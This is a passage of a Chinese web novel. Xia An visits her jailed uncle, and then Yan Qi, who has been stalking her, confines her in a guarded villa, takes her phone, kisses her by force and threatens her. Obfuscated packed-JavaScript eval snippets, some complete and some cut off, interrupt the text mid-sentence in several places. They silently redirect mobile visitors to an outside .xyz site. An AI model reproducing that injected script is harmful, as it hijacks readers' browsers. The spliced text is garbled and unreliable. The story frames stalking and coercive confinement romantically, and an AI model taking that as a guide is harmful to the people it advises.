所有的事情都该画上一个句号。 颜祈目光垂下,很受伤的样子,轻声说:“平南也不要了吗?” 夏桉沉默了几秒:“不要了。” 那是属于珍珠的,真可惜。 她不是。 ...... 大伯母醒来后供认不讳,杨素梅也自己去了警察局认罪。 定罪的时间太长,夏桉交给了律师处理,临行前去警察局见了夏明诚最后一面。 夏明诚坐在椅子上讥笑,出事后他那两个不争气的儿子忙着分家产到现在都没有来过一次,没想到最先见到竟然是夏桉。 “看我笑话?” 夏桉静静的望着他:“觉得你可悲。” 大伯母把责任全部推到了他的身上,江州市没有敢接夏明诚的诉讼。 “你又好的到哪里去,这些年还不是一直颜家受欺辱。”夏明诚猛地凑上前,双手架着手铐撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272431|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌上被警察拉住,几乎是咬牙切齿的语气,“一个真正的大小姐在别人家忍辱负重那么多年,不好受吧。” “看来你也没比我这个私生子日子好很多。” “还真是好笑,颜家那小子他竟然喜欢你,愿意为了你去死,他挡在你面前的那副样子我到现在都还记得。” “怎么会有这么好笑的事情。”夏明诚阴恻恻的盯着她,恶劣的嗓音从喉间发出:“你知道他小时候欺负你其实是一直在喜欢你吗?” “我听说你们在那个破岛上还有一段,你不会真爱上他了吧。” 颜祈小时候的乖戾顽劣在圈子里是出了名的,一言不合就能砸碎别人的东西,拳头挥到别人脸上,所有人都在看笑话,看夏桉是如何被他管教,如何被他驯服。 这种落魄千金的戏码屡看不爽,骄纵的小公主一点点被磨平棱角学会生存。 大家都在等,等颜祈烦腻了夏桉这个玩具,将她赶出夏家。 没赶出去,还爱上了,天大的笑话。 “他没有。”夏桉不愿意去思考这件事情任何一种合理的可能性。 夏明诚不管不顾,被警察压着也要继续说完:“你说他是在岛上喜欢上你的,还是一直就是这样喜欢你。” 夏桉:“......” 夏明诚看着她的神情哈哈大笑,眼里的愤恨得意交织:“你和那个女人一样贱,他这样子对你,你还能爱上,果然你们才是一家人,老公出轨二十多年都不知道,闹到眼皮子下面还在想着怎么去维持尊贵体面,一群虚伪的势利小人。” 旁边的警察按着他严声警告,夏明诚也没有半分收敛,嘴里的笑意癫狂不止。 夏桉坐在那里看他像个疯子一样张牙舞爪,目光向下思索了半晌问了最后一个问题:“我爸他们是你动的手吗?” “那是老天有眼,他该死。”夏明诚带着几分得意,桎梏的双手摊开,露出无辜又恶劣的笑,“我是想动手的,但架不住老天爷想收他,比我先动了手,他活该。” “你们都活该,被那种人喜欢不好受吧,这都是报应......” 夏明诚叫喊声在窄小的走廊回荡,夏桉走出警察局,凌冽窒息的冷空气刮在脸上,她抬头望着灰濛濛的天喘不过气。 夏明诚是否撒谎无可辩证,十多年前的那场车祸早就被定义成一场事故意外,数罪并罚,那些罪名已经足够让夏明诚在牢里关一辈子。 夏桉最后去了一趟夏家,里面的家具早就被夏明诚那两个儿子搬空,一览无余。 夏桉看到那些熟悉的装潢陷入迷惘,蹲在地上痛哭出声。 冬日傍晚森寂,夏桉整理好出去的时候外面已经全部黑透,连排的路灯散着暖光。 她去警察局没有告诉任何人,网约车进不了这里,夏桉沿着路灯往外走。 视线掠到前方停住。 颜祈站在古老的银杏树下,明亮的路灯下他的目光愈发滚烫,可他也只是呆呆的望着,没有向前一步。 他们已经很久没见了,好奇怪,从前相隔一万多公里夏桉也可以经常见到他,在蓝月岛失忆他们也会相遇。 可现在住在相邻的两个房间,两个人却碰不到面。 夏桉只能通过隔壁关门的那一声闷响确认颜祈回来了,更多的时候,她连这一声也听不到。 这是多年养成的习惯,很难改。 两人隔着路灯对望,谁也没有说话。 56. 第五十六章 出去只有这一条路,夏桉停顿片刻从旁边走过。 颜祈忖在原地,下一秒,他便如紧随的影子安静跟在夏桉身后。 两人的距离缩短为半米。 夏桉忍无可忍的停下脚步,转身看向他:“颜祈,你究竟要做什么?” “可是我不会因为小汽车摔碎就难过这么久。”他像个犯错的孩子低着头,给出一个答非所问的答案。 夏桉说的不对,被摔碎的小汽车可以找到新的替代品,但夏桉不能。 他会因为小汽车摔碎生气,可是不会因此难过,但是夏桉不一样。 他很难过。 原来,不是解题的人不会欣赏题目,而是她从来就没有想过落笔。 颜祈执拗的低声重复:“你说的不对。” 冬夜的冷风吹上人的面孔,这一段路不如前面明亮,斜照的灯光把影子拉向前端,他们的距离很近,身影重叠在石壁上,可是又那么远。 夏桉站在路灯下低垂不语,过了许久低声说:“外面冷,回去吧。” 明明住在同一处,却是赶人的意思。 颜祈固执的停在原地不动,他目光落在夏桉的手腕上,很轻易的就把她拉到怀里。 他小心翼翼的圈着,连呼吸都不敢用力,将脸埋在她的颈窝处呢喃。 如夜色般潮湿。 “为什么一点都不愿意可怜我,真的就那么讨厌吗?” “怎么到我身上你就不懂了。” 颜祈收紧手臂,心头无言的在窒息:“桉桉,你好不公平。” 夏桉对他实在不公平,她可以原谅蓝月岛的人都骗她,原谅杨素梅对她的伤害,却唯独不愿意原谅他。 或许下午已经发泄过,那些听起来和孩子气般埋怨的话让颜祈看起来有一点可怜,也可能是她习惯了颜祈的胡来,此刻的拥抱是一种短暂的慰藉,夏桉没有说出什么伤人的话。 她刻意降低呼吸的频率,还是闻到了那股淡淡的酒味。 颜祈会喝酒吗,她好像没见过。 颜祈一直只会在她身上做出格的事情,他习惯顺着心意肆意妄为,对待不喜欢的事情才会像个听话学生。 时间在他身上终于留下痕迹,一转眼,他们都长大了。 天空落下细雪,雾气缭绕,夏桉抬起头感受到脸上的湿意,自始至终没有抱住他。 “该回去了。”她只是这样说。 颜祈沉默住,过了须臾松开手跟在夏桉的旁边。 这一条过道漫长,夏桉看了眼手机,天气原因这附近没有司机接单。 “你怎么过来的?”她问。 颜祈垂眸闷闷不吭声,过了拐角才指向远处停靠的车,是他常开的那一辆。 夏桉蹙起眉:“你一个人?” “你不是也一个人。” 又在答非所问,雪天还敢喝酒开车,真是不怕死。 颜祈忽然抬手抚了抚她肩上不存在的雪花,无尽温柔,又出乎意料,夏桉勉强把这归结于是他喝醉的原因。 她抬起手:“钥匙呢。” 颜祈听话从口袋里拿出钥匙,乖乖放在她手心上。 夏桉打开车门,颜祈自觉坐上副驾驶,慢吞吞的把安全带系好。 夏桉不太相信他这样还能一路把车开过来,可今夜的颜祈太不像他,眼里迷胧藏也不藏不住。 这些年江州市道路规划,夏桉早就不知道从夏家去颜家要走哪一条路,她打开导航搜索,颜祈突然抓住她的指尖,热的发烫。 “送我去别的地方......我这样,颜淙不会放过我的。” 这个时候知道了,夏桉无奈的抽回手,心说就你这样子,警察抓到了也不会放过你。 颜祈在中控台点出一个地址,夏桉扫了眼,朝目的地驶去。 窗外的雪越下越大,绿化树的枝头染上雪白,夏桉开了半个小时,望到那栋落在山顶的合院别墅,林幽植密,如同天然坐入其中被重重包裹的囚笼。 夏桉只在颜家的老宅住过,还是第一次来到这里,别墅里静的只有雪声,看起来已经很久没有人住。 感应大门自动打开,夏桉开进去停下车,偏头看向从上车就一直安静不语的颜祈,他在她身边难得有这样安静的时刻,紧阖着眼疲倦的靠在朝她那边的车座上,温顺的不像话。 太像平南。 夏桉凝视片刻,手推过去,“颜祈,到了。” 可还没挨着,那一双骨骼匀称分明的手就攥住了她的手腕,晦暗灯光下,颜祈的视线直直看着她,少年的眼底有她看不懂的深意。 “到了。”她重复道。 颜祈歉意松开她的手朝窗外淡然看去,山顶气温低,雪已经铺了薄薄一层,他像是才知道下雪,后知后觉的说:“原来下雪了。” 真好,夏桉还在他的身边。 “你怎么回去?”他收回目光。 夏桉有一霎空白的怔愣,没明白他的意思,这雪下的不大,完全可以原路开车回去。 “我的意思是,车的油好像不够了。”颜祈说,“而且你开走,我明天也没办法下山。” 夏桉没有注意过这点,扭头一看还真在提示,她对剩余的油量没有把握,父母的意外让她对于雪天出门有种莫名的恐惧。 今年江州市的雪来的太早,算的上毫无预兆。 颜祈像能感知到她的思虑,静静看着她:“明天我让司机过来接我们。” 夏桉找不到更好的办法,也没有办法,她妥协跟在颜祈的后面。 进了屋子,周围更安静,颜祈随手按下旁边的开关,虽然没人住但里面收拾的很整齐,应该是定期有人上来整理。 “啪——” 客厅里灯又突然暗了下去,夏桉太熟悉这种跳闸的声音,蓝月岛那几个月比过往的生活都要刻骨铭心。 “这是我成年自己选的礼物。”颜祈开口介绍,深沉的眼眸在暗色里愈发浓稠。 夏桉没有意外,徐薇他们宠爱颜祈又长期久驻国外,一直内疚对颜祈的忽略,所以在金钱方面从来对他没有限制。 她借着窗外一点雪色抬起头:“你知道总闸——” 手中的包被落在了地上。 她整个人被颜祈笼在怀里,夏桉背贴着墙壁,下意识扣住他的肩膀,被吻的喘不过气。 颜祈按住她的脖颈长驱直入吞噬掉所有氧气,发狠咬着她的唇碾磨,气息交缠压迫,还带着一股说不清道不明的恨意。 他们从来没有这样亲过,吻到两个人都觉得痛。 夏桉推搡不动,晃晃悠悠中倒在沙发的扶手上,唇间传来一股浓烈的血腥味,忍不住哼声。 不是她的。 颜祈却以为夏桉磕到了腰,慌张的伸过手查看。 随即传来一记掌掴。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285956|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >颜祈被打偏了头,定格在那里,昏暗的房间看不清楚他的神色,窗外响起呼呼的风声,在提醒他这是一场行醉酒姿态的预谋之举。 掌心火辣辣的疼,夏桉知道自己用了多大的力,她胸口剧烈起伏:“你疯了!” 颜祈目光动了动,慢动作一样拉起她的掌心轻轻摩挲,慢慢向上,最终落在她先前被指环禁锢的部位,前前后后的来回抚摸。 “颜淙昨晚也是这样亲你的吗?” 她待在他的房间那么久,他们之间也这样吻过吗,恨不得把对方揉进身体里。 颜淙的吻会比他的好吗,他会像他一样爱她吗? 颜祈抱住她,就像抱住这雪夜里唯一的那束光,心里却愈发觉得她冷情淡漠。 他怎么做什么都留不住她,连卖可怜也没有用。 他难道还要像小时候一样不高兴就发脾气吗?像小时候一样责备颜淙对他太严格,所以质问这个世界为什么只给他少少的爱,一个人在前庭的草坪里玩,在高高的露台上等待有个人可以回家。 他二十岁了,不可以像个小孩。 夏桉不想要他的爱,她所做的一切都不过是在骗他。 她想走,她讨厌他,她说她要忘了。 可是他要怎么忘记? 他们在最爱的时候恢复记忆,然后所有的一切戛然而止,那付出的感情的呢? 蓝月岛所发生的一切难道都要当作一场梦。 夏桉明明就是属于他的,她怎么敢这样对他,她不是最听话了吗,为什么突然就不听话了? 还是说以前种种,不过是她伪装出来的假象。 颜祈不敢想,他抱着夏桉,那个世界上他自以为最了解的人,不敢去看那双冷漠的眼睛。 事到如今,难道他心里还是没有答案? 夏桉怕他,她一直都在怕他,怕他怕到以为自己逃脱不了,转身就同意颜淙的求婚来寻求保护。 她爱颜淙,所以连平南也不要了。 可是颜祈一开始不是这样想的,他只是想和夏桉成为最好的朋友。 他从来没有想过伤害夏桉。 颜祈如获至宝攥紧她的手,握成一个扭曲的形状,他们在黑暗中对视,缄默。 窗外的雪花好像飘到了她的脸上,冬天的雪可真冷,可惜她没见过蓝月岛的雪,也没见过和她一起看雪的平南。 夏桉听到一丝哽咽,或许他们都在强忍,有眼泪滴下划过她的下颌。 那些呢喃的醉话像水中的幻影,颜祈说的很慢,怕把现在这不够美好一切都打破,似是叹息。 “就真的那么喜欢他吗?” “别讨厌我,桉桉。” 他沿着夏桉的脸侧细细吻过去,每一处都停留很久,在给夏桉又一次惩罚他的机会,她打的痛一点会不会就少讨厌他几分。 然而没有,他停在夏桉的嘴角笑了。 为自己幼稚的念头发笑。 她才不会心疼他,才不会想要原谅他,她只想恨他。 他吻向夏桉的眼角,尝到一抹苦涩,分不清这究竟是谁的,所有的一切都让人发笑。 他停下那个吻,用力紧了紧手臂从夏桉的身上离开,站起来朝后退了一步。 幽暗里,颜祈牵起嘴角露出一个乖戾的笑,犹如一个彬彬有礼的绅士准备退场,在做落幕前的最后表演。 “桉桉,做个好梦。” 57. 第五十七章 昨晚落了一夜的雪。 夏桉早上醒来的时候发现并不冷,屋子里暖气不知道什么时候打开了,屋内屋外两个世界,她静静看了会拿过手机看时间,右上角竟然没有一格信号。 这里的信号也会和蓝月岛的一样差? 洗漱柜里是她常用的牌子,这是颜祈的喜好,他总是很喜欢包办一切,把自己认为最好的推到她的面前,高中时去法国念书,夏桉也改过别的。 那时她住在校外的房子里,只是没过几天就被颜祈换了一批新的,跑去问颜淙是不是在虐待她。 夏桉有点倔劲,不愿意总是这样生活里处处充满他的痕迹,等颜祈一走就换了新的,一周后,颜祈又换了一批新的,往复两次,颜祈看出名头开始质问她,夏桉也就不再折腾。 颜祈需要事事掌控才会心里安妥,但夏桉最近已经做了太多相逆的事情。 很多时候夏桉都觉得她和颜祈的关系不像同龄人,而是像父母与孩子。 颜祈像个专断独权的家长,想要掰正夏桉身上所有不符合他理念的习惯,夏桉迟钝缓慢的跟在他的旁边,以为要被颜祈这样掌控一辈子,直到颜淙提出结婚后才迎来属于她的叛逆期。 颜淙年长的权威功不可没,可这其实很傻,她本质上还是在依靠别人的力量去反抗颜祈。 但好在,这一切都要结束了。 夏桉打开门,空气里流溢着暖烘烘的香甜,这样的场景很荒谬,颜祈在摆弄满桌的早餐,刀叉合作,按照标准食谱比例在盘子里摆出好看的造型。 夏桉默然停在楼梯口,不确定这栋没人住的房子里为什么会突然出现这么多的食物,颜祈听到动静抬起头柔缓地笑:“你醒了,快来吃早餐。” 他把摆好的盘子放过去,在夏桉提出问题之前,自言自语道:“我之前一直住这,跟厨嫂特意学了几样,你试试。” 窗外的寒风拼命吹着,早上停下的雪又落了下来,他身后的窗帘没拉,白茫茫的一片映衬的客厅很亮。 夏桉坐下,吃了几口听到颜祈轻声问:“好吃吗?” 她愣了愣,对颜祈将昨晚的事全然放下的态度感到不可思议,讷讷道:“还好。” 一句不上不下的中肯评价,颜祈却像是很满意,手下的动作未停,微微扬起一点下颌发出感慨,还带着些许引诱的语调:“桉桉,其实这里也很好对不对,如果我们能一直待在这里就好了。” 不该相信他的,夏桉放下刀叉:“我们什么时候走?” “外面的雪这么大,司机也不敢上来,他说等雪停了会好一点。”颜祈慢言细语,对答如流。 夏桉挑不出这个答案的毛病,失了胃口没有再吃,颜祈坐在对面慢条斯理的吃着早餐,朝窗外的雪景看了一眼回头安抚道:“别这么心急,雪总会停的,你如果不想吃就回去休息吧。” 夏桉起身回到房间,门锁转动的卡扣声落下的那一秒,颜祈泠然放下刀叉,金属的撞击声冰冷传遍整个客厅。 一直到中午,夏桉也看不出颜祈有半分要走的意思。 颜祈已经在厨房里做上中饭,他指间握着一把细长的刀柄,略微生疏的将食材切成等同的大小,旁边的砂锅里咕咕冒着热气,所有的一切都在极力营造一种温馨家庭的氛围。 夏桉不记得他有喜欢玩这种过家家的游戏。 颜祈动作轻快,一道一道摆满餐桌,夏桉目光落在颜祈的手腕上,昨晚还明显的圈痕一夜之间淡的没有留下任何痕迹。 颜祈坐在她的旁边,仔细挑着那条鱼里的软刺,伸筷把最肥美的那一块夹到她的碗里。 夏桉再也忍耐不住,没动质问道:“你出去过?” 她还没有蠢到这种地步,这条鱼分明是新鲜的。 颜祈神色如常,拿起汤勺盛了半碗汤放在她的旁边:“没有,是别人送上来的。” “那我跟他们一起下山,你想怎么吃就怎么吃。” 颜祈放下筷子,微微偏头好整以暇观察她的表情,不再伪装:“回不去了,桉桉。” 从昨晚开始他们就已经回不去了。 夏桉愤怒离开餐厅,拿过从昨晚就放在置物台上的车钥匙走到车库,空无一物,哪里还有那辆车的影子。 被欺骗算计的恼怒涌上心头,夏桉从车库直接往外走,突然冒出的保镖拦住她:“夏小姐,没有颜先生的命令你不能离开这里!” 夏桉听都没听,转身就朝另一边跑去,又是两名保镖拦住她,四个方向一个出口,颜祈竟然在这里准备了八个保镖。 真是看的起她。 夏桉讥讽地扯动嘴角,回到客厅直接明晃晃的打开大门,颜祈不紧不慢的摆着盘子,四名保镖站在门口重复同样的话术。 “你知不知道你在做什么?”夏桉关上门回到餐桌前。 “我做的不够明显吗?”颜祈没有一丝一毫的歉意,心底被顽劣的恨意铺满。 他做的这一切还不够明显吗,他只是想和夏桉永远在一起而已,别无所求,这种简单的要求很过分吗? 他拉过夏桉的手跟个没事人一样,捏捏她的指腹:“桉桉,你该吃饭了。” “疯子。”夏桉厌恶的甩开,跑回楼上。 颜祈没有制止她的行为,只是站起来慢悠悠的说:“别想着告诉颜淙,玩手机对你的视力不好,我已经先帮你保管了。” 明明是私自没收,他却一脸全心为夏桉考虑的表情,好像真的在担忧她会因此降低视力。 回应他的是一声门框振动的巨响。 颜祈目光低垂,端起那盘摆好的食物连同盘子一起丢进垃圾桶里,夏桉该吃一点苦头了,要不然她真该忘了他的脾气。 一直到这天晚上整个别墅熄灯,夏桉也没有从房间里出来,傍晚的时候她在门口听到一个女人的声音,只是称呼一样,那人叫她夏小姐,说颜先生请她出去吃饭。 夏桉没有把气发在别人的身上,只是沉默以对。 门锁悄然转动,夏桉没有穿鞋从房间里溜了出来,她在这里一秒也待不下去,经验告诉她在这里留的越久,颜祈想要驯服她的心只会日益增长。 她不该相信颜祈会改的,他骨子里倨傲偏执不会改变。 一场雪而已,难道还能把人冻死不成。 房间的窗户只能看到前院,她摸不清那些保镖晚上会住在哪里,但夏桉没有时间思考太多,她需要快点离开。 她踩下最后一级台阶,拐角一盏壁灯突然亮起。 少年高瘦的身形在昏黄的灯影下具现,反衬出他清峻精致的面容,窗外的冷风将这个夜晚浸透,他抬起视线,语气难辨:“你想去哪?” “我要离开这里!”夏桉破罐子破摔。 黑暗加速了嫉妒的滋长,静滞的空气里爆出一声讽刺嗤笑,颜祈循着她的呼吸扣住下巴,下睨:“去哪?” 夏桉拍开他的手:“和你无关。” 颜祈的面孔彻底冷下来,恨恨咬牙:“你要去找颜淙,是不是。” “我根本就没有提他。” “可是你就是想去找他。” “是又怎么样。”夏桉半仰着面孔,在某些时刻比所有人都更知道怎么把刀子插进他的心口,“我就是要去找他,颜祈你别忘了,和我订婚的是你哥。” 他们都一样的恶劣至极,从不肯给彼此留下任何回转的余地。 “现在,可以,让我走了吗?” “你已经耽误我很久了。” 壁灯应声而碎,客厅里最后一盏灯也灭了,幽暗里,有什么东西正在悄无声息的被撕碎。 夏桉始终仰着头目光不曾回避,他们其实都没有变,很多事情从第一次见面就已经注定,他们之间总要有人受伤,沾血带肉的伤疤沾染过灰尘,夏桉手心里确确实实因为他留下过一个疤。 颜祈眼底赤深,攥紧的双手骨节狰狞苍白,想不明白。 “颜淙他到底哪里好,那么多人你非要喜欢他,你知道不知道他是我哥哥。” “我讨厌你。” 寒意一贯而入,如阳光暖房一般的房子再也储存不下一丝热气,一种难以名状的无力灌注进颜祈的胸膛里,尖锐的痛楚搅烂心脏。 “可以了吗?”夏桉语气里没有任何情绪。 可以了吗,知道了,以后不会了...... 这些都是夏桉曾经对他说过最多的话,此刻却以另一种方式还给他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“桉桉,现在晚了,打我没有用的。”颜祈抓住她的手掌,有一下没一下的揉着她的无名指。 如果是昨晚,这一切都还有机会,可是现在已经不重要了。 他已经得到了自己想要的。 夏桉就没见过这样不会生气的他,说出去的话做出去的事就跟打在棉花上一样,她不知道那口是不是咬的太重,颜祈的脖颈处血红一片,衣领处还沾着点点血迹,可他却丝毫没有反应,她愠怒的抽回手。 “如果你想打也可以打,但是我不会放你走。” 夏桉捏紧拳:“你昨晚根本就没有喝醉,你一直在跟踪我。” 她早该想到的,颜祈一直避着她怎么会刚好出现在夏家外面,她没有跟任何人透露过她要去见夏明诚,颜祈从一开始就在跟踪她。 颜祈眼里露出笑意,撩起她鬓角的碎发:“桉桉,你和小时候一样好骗。” “我没有逼你进来,是你自己要来的。” 如果夏桉不配合,这件事情会有点难办,但最终的结果都是一样。 “疯子。” “你不是早就知道。” 夏桉拉起被子盖住自己,不愿意再看到他的脸。 颜祈关上灯,摸索着悄悄攥紧她的手,很有人生经验的说:“桉桉,合不合适根本不重要。” “你和颜淙就一点都不合适。” 他没发觉自己前后矛盾,一心摸着夏桉的手佯装惊奇:“你怎么这次没有戴颜淙的戒指,你是不是也觉得那颗石头太小,他真小气。” “其实颜淙小时候就一直这样,妈妈给我买礼物他总是会不高兴,自己心里嫉妒又不肯说。” 颜祈说着,话语里带上笑意:“不过没关系,他可能要一直羡慕我,因为你现在也是我的了。” “桉桉,你喜欢这座房子吗,我也没想到昨天会下雪,你说蓝月岛下雪是什么样子,到时候我们一起去看......” “你能别说话了吗?好吵。”夏桉蒙在被子里冷冷地说。 颜祈立刻不再发出声音,他难受的扯了扯嘴角,笑不出来,但还是勉强笑着,假装听不出她话里的厌恶。 风雪归停的时刻,他在夏桉的手背上落下一个轻羽般的吻,很小声地承诺:“桉桉,我送你一颗大的好不好。” 他没有去等夏桉的回答,就像他说的,很多事情其实已经不重要了,人生交织的十五年,颜祈无法再接受和其他人捆绑度过余生。 他从后面抱住夏桉,贪婪的靠在颈后呼吸:“晚安,桉桉。” 58. 第五十八章 夏桉把门又锁了。 从第一晚来这她就一直在做这件事情,颜祈前脚刚出门,下一秒就传来落锁的声音。 昨天没仔细看,这个房间的布局用品竟然都和颜家老宅那个房间极度相似,疯了,她被困在这个明亮宽敞的房间找不到更好的形容词。 夏桉回到床上,被手上戒指咯到,昨晚以为那只是颜祈随口说的,可手上的戒指尺寸刚好,一如既往的颜祈审美,越大越好。 没发现的时候感觉不到重量,现在压的抬不起手。 夏桉低头想取下来,费了好一通功夫,拧转蹭磨才把戒指摘下来放在床边的置物柜上。 一直到中午,房间的门也没有再打开,昨天那个年长的女声又在门口请她下去吃饭。 夏桉拉过被子盖住头,她忽然想起小时候颜祈总是凶巴巴的瞪着她,恶劣的在她每一幅画做上标记,周围的同学总是会因为颜祈而主动远离她。 想着,夏桉竟然有点怀念那个时刻,宁愿颜祈和以前一样对她警告或者施以惩罚,也好过现在这样总跟软骨头一样黏着她,她在这段关系里做了太多错误的决定。 明知道他是那样的人,该顺的时候偏偏要去违逆,该狠心的时候又无可救药的心软。 怎么以前都能忍,现在就不行了。 夏桉躲在被子里胡思乱想,门口突然传来不满的拧门声,她堵住耳朵听而不闻。 “拆了。”颜祈站在门外淡淡说。 保镖训练有素,三下五除二直接从外面把门锁拆了,没有锁的门无法再自动闭合,距离门框敞开一段距离。 颜祈走过去坐在床侧,一眼看到戒指折射出的绚烂光线。 “不喜欢吗?”他隔着被子搂住夏桉,喃喃自语:“可是我给你带上去的时候很好看。” 夏桉没办法再继续装睡。 颜祈拉下被子,指尖沿着额头将她凌乱的发丝理清,语调轻柔的商量:“先戴这枚好吗,定做新的可能还要等一段时间。” 他拉过夏桉的手想要重新套上戒指。 “别碰我。”夏桉应激似的甩开,好像颜祈给她戴上的不是戒指而是枷锁,“拿着它离我远点。” 密封的窗户发出沉闷砸响,钻戒掉在地毯上。 颜祈一把扣住她的下巴,用一种很淡的语气反问:“那你要谁的?” 夏桉抬起眼,一字一顿回:“要谁的,都不要你的!” 颜祈突然冷哼一声,松开手笑看她:“桉桉,没有用的,我不会再为了这种事情生气。” 这种激怒的手段夏桉已经使了太多次了,她还没明白这不会引起任何后果。 “不管你是要颜淙的还是谁的,他们都不会再出现在你的面前。” 他无赖地吻住夏桉的唇又很快的分开,哄小孩的语气:“桉桉,听话,该吃中饭了。” 夏桉:“......” 颜祈伸手轻抚她脸侧的肌肤,没有过多反应:“不吃也没关系,活着,你还有可能从我身边离开,死了,你就永远属于我。” 诚然,颜祈是一个很厉害的谈判高手,威胁和引诱并存,直直戳人心窝。 夏桉对他再无半点信任,但逃跑需要体力。 从昨天拆穿以后,饭都是由厨嫂开始明面上做,颜祈饶有兴致给她在盘子里拼出个花样,推过去目光相触,夏桉一口未动。 ...... 颜祈在房子里给夏桉准备了一个礼物。 从拿到房子的钥匙,颜祈就想好了这一块空间的作用。 是一间装修完成的画室,比颜家老宅的那间还要大,里面摆着夏桉常用品牌的画板和工具,角落里还放着几盆葱茏盎然的绿植。 “你可以在这里画画,到时候我们再开一次画展,可以请春山他们过来看。”他俯身从后面抱住夏桉,嘴唇贴在她的耳侧吻了吻,极力营造一幅前景美好的恩爱画面。 夏桉应付不了这样的颜祈,但她很会隐藏自己的情绪,很多事情教会她争执和哭泣是没有用的,你要看清楚对方最想要的什么。 这件事情在颜祈身上失了效。 她好像明白,但她不想给。 保镖的敲门打破颜祈的独自幻想,他对颜祈默了下眼神,颜祈松开夏桉,拉着她的手说:“桉桉,你先自己待会儿,我马上就回来。” 保镖站在门口没走,代替颜祈看着夏桉。 夏桉环视画室一圈,转身走到窗前还未动作,门边的保镖已经开口警告:“夏小姐。” 夏桉未听,伸手推开窗户。 风卷残雪,顷刻间凌厉的寒气往夏桉脸上扑,她看到条银色延伸向下的道路,树木都盖了一层厚棉絮,只是还未完全看清,凄厉的呼号被隔绝在窗户之外。 保镖关好窗挡住她的全部视线,“夏小姐,你身体不好,还是不要吹这种冷风。” 这种事情只能是颜祈嘱咐的,其实她的身体素质没有他想的那么弱,被风吹一吹就会刮倒。 夏桉在很多时候也在骗颜祈。 比如在装病的时候,颜祈对她的态度就不会那么尖锐,会尽可能少的不去打扰她,夏桉躺在床上装晕,然后理直气壮的拒绝一些颜祈的要求。 她总以为这件事情会被戳穿,可是这些年却不知为何百试百灵。 颜祈回来的时候,夏桉已经在纸上画了一幅雪景,保镖临走前在他耳边说了一句,他点头没作表态。 他俯身在画上添了两个小雪人,软声问:“你是想出去看看吗?” 夏桉轻皱起眉,看着纸上那两个格格不入的雪人。 天生冰冷的两个人,挨的再近也没有用。 颜祈已经一个人学会自话自答:“不可以哦,现在外面太冷了,你出去会感冒的。” “等天气变好了,我再带你出去。” 他勾起夏桉的头发细细梳理,轻声同她说:“我帮你把头发扎起来好不好,像蓝月岛那样。” 夏桉骤然站起回了房间,不愿意同他说一句话。 房间的门锁在下午换了一个新的,夏桉没有去管,反正换成什么颜祈都能进来,那扇门于他形同虚设。 晚饭的时候,她又一次推开房间的窗,夜色昏暗,夏桉没有看见早上巡逻的保镖,屋外只有一个很大的雪人。 一楼透出的暖光映照在它的身上,雪人扬起一个笑脸,刚刚好,就那样对着她,无比灿烂。 夏桉看了很久,不知道自己究竟在看什么。 最后沉默的关上窗。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304622|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晚上,颜祈依旧住在她的房间里,其实这里也算不上她的房间,整座房子都是颜祈的,就像颜家老宅的那个房间,夏桉住了十多年,始终铭记着自己不过是一个外人,要听话要乖巧,不要给别人惹麻烦。 在主人的家里,客人要有分寸。 这是母亲告诉她的道理。 八岁以后的道理,由颜祈告知。 夏桉在颜祈这里一直处于地位劣势,她没有拒绝的权利。 窗帘紧闭,屋里没有一丝光线,夏桉闭着眼装睡,和颜祈保持一段自以为的安全距离。 颜祈侧躺着,望着她漂亮疏静的眉眼,借着昏暗夜色伸手摸向她的脸,心和语气一样软:“桉桉,你今年还没有送我礼物。” 上个月底,他的生日就已经过了,可是夏桉好像完全不记得。 其实从夏桉去法国的那一年开始,她就经常忘记,总是需要颜祈在那段时间到她的身边频繁出现,夏桉才会记起。 算起来,这一切都是颜淙的错。 明明在国内的时候,夏桉每一年都很准时的。 是不是离他太远,所以就很容易忘记,或许夏桉就是这样一个容易淡忘的人,那她能把过去不好的一切都淡忘掉吗? 颜祈说不清自己究竟在忍什么,人都睡在自己旁边了还要和她隔出一道楚河汉界,他小心翼翼的移过去先牵住夏桉的手,然后微微把手揽过去,最后才将她完全抱住。 “你是不是又忘记了?” “不过没关系,我已经给雪人过了一个,它说这样它就很喜欢。” 他微直起身,去吻她的眉眼,吻她的睫毛,幸福如同潮汐般朝他的心底涌入。 夏桉皱了皱鼻子,有点痒。 颜祈僵硬着身子不敢动,直到夏桉又安静了,他才抵着她的额头继续小声说:“我原谅你,你也原谅我好吗?” “我真的不知道那是夏叔叔给你做的琴谱,那个喷泉我已经让他们移了。” “你是因为我才不喜欢弹钢琴的吗?其实你弹琴很好听,画画也好看。” 